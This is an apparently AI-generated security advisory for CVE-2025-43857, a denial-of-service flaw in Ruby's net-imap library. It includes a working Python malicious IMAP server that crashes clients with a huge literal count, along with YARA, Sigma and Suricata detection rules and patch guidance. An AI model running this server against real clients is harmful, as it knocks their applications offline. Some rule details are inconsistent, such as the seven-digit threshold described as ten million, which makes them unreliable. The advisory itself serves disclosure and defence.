CVE-2025-43857
Executive Summary
CVE-2025-43857 is a denial-of-service (DoS) vulnerability in the Ruby net-imap library, which implements the IMAP client protocol. The flaw allows a malicious or compromised IMAP server to cause memory exhaustion on the client by sending a crafted "literal" byte count in a server response. The client’s receiver thread automatically reads this count and allocates memory accordingly, without any upper bound validation. This can lead to uncontrolled memory consumption, crashing the client application or exhausting system resources.
The vulnerability affects all versions of net-imap prior to 0.5.7, 0.4.20, 0.3.9, and 0.2.5. It is particularly dangerous in scenarios where the client connects to untrusted or insecure IMAP servers, such as user-supplied hostnames. The CVSS score is 7.5 (High) due to the low attack complexity and network-based vector, though the impact is limited to availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the Ruby net-imap gem, a core library for IMAP client functionality. It is distributed via RubyGems and is commonly used in Ruby applications that interact with email servers. The supply chain risk is moderate: while the gem is widely used, exploitation requires a malicious server, which is less common in typical enterprise environments. However, applications that allow users to specify IMAP server addresses (e.g., email clients, monitoring tools) are at higher risk. The patch is available via gem update, and no known public exploits exist.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions or complex steps are required.
- Privileges Required: None (PR:N) – The attacker does not need any authentication.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond connecting to the malicious server.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: None (I:N) – No data is modified.
- Availability Impact: High (A:H) – Memory exhaustion leads to denial of service.
Threat Level: High. While no public exploits exist, the vulnerability is easy to trigger and can cause significant disruption. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but this may change as awareness increases.
Deep Dive & Mechanics
The net-imap library implements the IMAP protocol as defined in RFC 3501. In IMAP, server responses can include "literals" – data blocks prefixed with a byte count in curly braces (e.g., {1024}). The client is expected to read exactly that many bytes. The vulnerability lies in the response reader: when a literal byte count is received, the library immediately allocates a string of that size in memory, without any validation or upper bound.
Root Cause: In the receiver_thread of Net::IMAP, the method read_literal is called when a literal is encountered. This method reads the byte count and then allocates a buffer of that size using String.new(capacity: count). If the server sends an extremely large count (e.g., {999999999}), the client will attempt to allocate that much memory, leading to memory exhaustion and a crash.
Attack Flow:
- The client connects to an IMAP server (either legitimate but compromised, or malicious).
- The server sends a response containing a literal with an excessively large byte count.
- The client’s receiver thread reads the count and allocates memory for the literal.
- The allocation fails or consumes all available memory, causing the client process to crash or become unresponsive.
Affected Code Path:
lib/net/imap.rb(orlib/net/imap/response_reader.rbin newer versions)- The
read_literalmethod or equivalent logic that parses literals.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
# In response_reader.rb (vulnerable)
def read_literal
count = read_number # e.g., 999999999
@buffer = String.new(capacity: count) # Allocates memory without check
# ... read count bytes into buffer
end
Patched Code (simplified):
# In response_reader.rb (patched)
MAX_LITERAL_SIZE = 10_000_000 # Example limit
def read_literal
count = read_number
if count > MAX_LITERAL_SIZE
raise Net::IMAP::Error, "Literal size exceeds maximum"
end
@buffer = String.new(capacity: count)
# ... read count bytes into buffer
end
The patch introduces a maximum literal size check, preventing allocation of excessively large buffers. The exact limit may vary by version, but the principle is consistent.
Exploitation & Lab Setup
Red Team
Objective: Trigger memory exhaustion on a Ruby application using net-imap by simulating a malicious IMAP server.
Lab Setup:
- Environment: Two machines (or containers) – one running a vulnerable Ruby application (client), one running a malicious IMAP server.
- Tools: Ruby 3.x with
net-imapgem < 0.5.7, Python or Ruby for the malicious server.
Malicious Server Script (Python):
import socket
def malicious_imap_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 143))
server.listen(1)
print("Listening on port 143...")
conn, addr = server.accept()
print(f"Connection from {addr}")
# Send greeting
conn.send(b"* OK IMAP4rev1 server ready\r\n")
# Wait for client command (e.g., LOGIN)
data = conn.recv(1024)
print(f"Received: {data}")
# Send response with huge literal
conn.send(b"* 1 FETCH (BODY[] {999999999}\r\n")
# Client will attempt to allocate 999MB and likely crash
conn.close()
if __name__ == "__main__":
malicious_imap_server()
Execution:
- Run the malicious server on the attacker machine.
- On the victim machine, run a Ruby script that connects to the attacker’s IP:
require 'net/imap' imap = Net::IMAP.new('attacker_ip', port: 143, ssl: false) imap.login('user', 'pass') - The client will crash with a memory allocation error.
Blue Team
Detection & Mitigation:
- Monitor Memory Usage: Set alerts for sudden spikes in memory consumption by Ruby processes.
- Network Monitoring: Detect IMAP responses with unusually large literal sizes (e.g., > 10MB).
- Application Logging: Log IMAP server responses and flag any that contain literals exceeding a threshold.
- Update Immediately: Patch
net-imapto version 0.5.7 or later. - Restrict Connections: Only allow connections to trusted IMAP servers. Use SSL/TLS to reduce risk of man-in-the-middle attacks.
Indicators of Compromise (IOCs)
- Network: IMAP server responses containing literal byte counts greater than 10,000,000 (e.g.,
{999999999}). - Process: Ruby process consuming excessive memory (e.g., > 1GB) and crashing with
NoMemoryError. - Logs: Application logs showing
Net::IMAP::ErrororNoMemoryErrorafter receiving a literal. - File: Core dumps or heap dumps from Ruby processes.
Detection Engineering
YARA Rule
rule CVE_2025_43857_IMAP_Literal_DoS {
meta:
description = "Detects IMAP responses with excessively large literal byte counts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-43857"
strings:
$literal_pattern = /{[0-9]{7,}}/ // Matches literals with 7+ digits (>= 10,000,000)
condition:
$literal_pattern
}
Sigma Rule
title: IMAP Literal DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects IMAP server responses with large literal byte counts indicative of CVE-2025-43857 exploitation
author: Valters IT
date: 2025/04/10
logsource:
category: network
product: suricata
detection:
selection:
app_proto: imap
payload|contains: '{'
payload|re: '\\{[0-9]{7,}\\}'
condition: selection
falsepositives:
- Legitimate large email attachments (rare)
level: high
Suricata Rule
alert tcp any any -> any 143 (msg:"CVE-2025-43857 IMAP Literal DoS Attempt"; flow:to_client; content:"|7b|"; distance:0; within:1; pcre:"/\\{[0-9]{7,}\\}/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Update the
net-imapgem to version 0.5.7, 0.4.20, 0.3.9, or 0.2.5 (depending on your Ruby version). Run:gem update net-imap - Workaround: If patching is not possible, implement input validation in your application to limit literal sizes. For example, override the
read_literalmethod or use a timeout.
Long-Term Measures:
- Network Segmentation: Restrict IMAP client connections to trusted servers only.
- Use SSL/TLS: Always connect to IMAP servers over SSL (port 993) to reduce the risk of man-in-the-middle attacks.
- Monitor Dependencies: Regularly audit Ruby gems for vulnerabilities using tools like
bundler-auditorsnyk. - Resource Limits: Configure system resource limits (e.g.,
ulimit) to prevent a single process from exhausting all memory.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.